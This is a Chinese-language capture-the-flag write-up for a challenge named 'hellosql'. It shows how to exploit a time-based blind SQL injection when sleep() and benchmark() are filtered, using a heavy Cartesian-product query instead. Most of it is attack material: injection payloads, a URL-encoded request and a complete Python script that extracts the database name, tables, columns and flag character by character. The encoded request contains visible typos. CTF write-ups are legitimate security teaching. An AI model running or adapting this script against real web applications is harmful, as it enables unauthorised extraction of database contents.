写在前面
这个题本来超级简单而且自己都已经有思路就是时间盲注了，本来想睡一觉就起床做，结果成功睡到比赛结束。。真的对不起队友啊！！！
hellosql
进入之后注入点很明显：
1
| xxx.xxx.xxx.xxx:xxxx/index.php?id=1
|
修改id后面的值，回显一直不变，而且明显没有显示数据的地方，显然只能是盲注或者报错注入。
SQL注入的题首先拿去fuzz一波，发现没做什么过滤。但是可疑的是sleep()和benchmark()被过滤了，已经在暗示这是时间盲注了。。
常见的两个函数被过滤，于是考虑使用笛卡尔积。
使用单引号和#进行闭合和注释，写出盲注语句：
1
| ascii(substr(database(),1,1))<116 and (select sum(0) from information_ schema.columns A, information_ schema.columns B)
|
1
| /index.php?id=1%27%20and%20ascii(substr(database(),1,1))<116%%20(select%20sum(0)%20from information_schema.%20A,information_schema.columns%20B)%23
|
写出Python脚本：
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
| import time
import requests
from datetime import datetime
url = "xxx/index.php"
result = ""
for i in range(1,100):
head = 32
tail = 126
while head < tail:
mid = (head + tail) >> 1
#查数据库 ctf
param = {
"id": f"1' and ascii(substr(database(),{i},1))>{mid} and (select sum(0) from information_schema.columns A,information_schema.columns B)#"
}
#查表
param = {
"id": f"1' and ascii(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema='ctf')),{i},1))>{mid} and (select sum(0) from information_schema.columns A,information_schema.columns B)#"
}
#查列 Flagg
param = {
"id": f"1' and ascii(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name='Flllag')),{i},1))>{mid} and (select sum(0) from information_schema.columns A,information_schema.columns B)#"
}
#Flagg 查数据
param = {
"id": f"1' and ascii(substr((select(group_concat(concat_ws(0x7e,Flagg)))from(ctf.Flllag)),{i},1))>{mid} and (select sum(0) from information_schema.columns A,information_schema.columns B)#"
}
start = int(datetime.now().timestamp() * 1000)
resp = requests.get(url, params=param)
# print(resp.text)
end = int(datetime.now().timestamp() * 1000)
if end - start > 300:
head = mid + 1
else:
tail = mid
if head != 32:
result += chr(head)
else:
break
print(result)
|
总结
- SQL注入第一点是寻找注入点，这个题目没有难度
- 根据题目环境，锁定注入方法：盲注或者报错或者写webshell，因为几乎可以说是没有回显
- 开始fuzz，寻找思路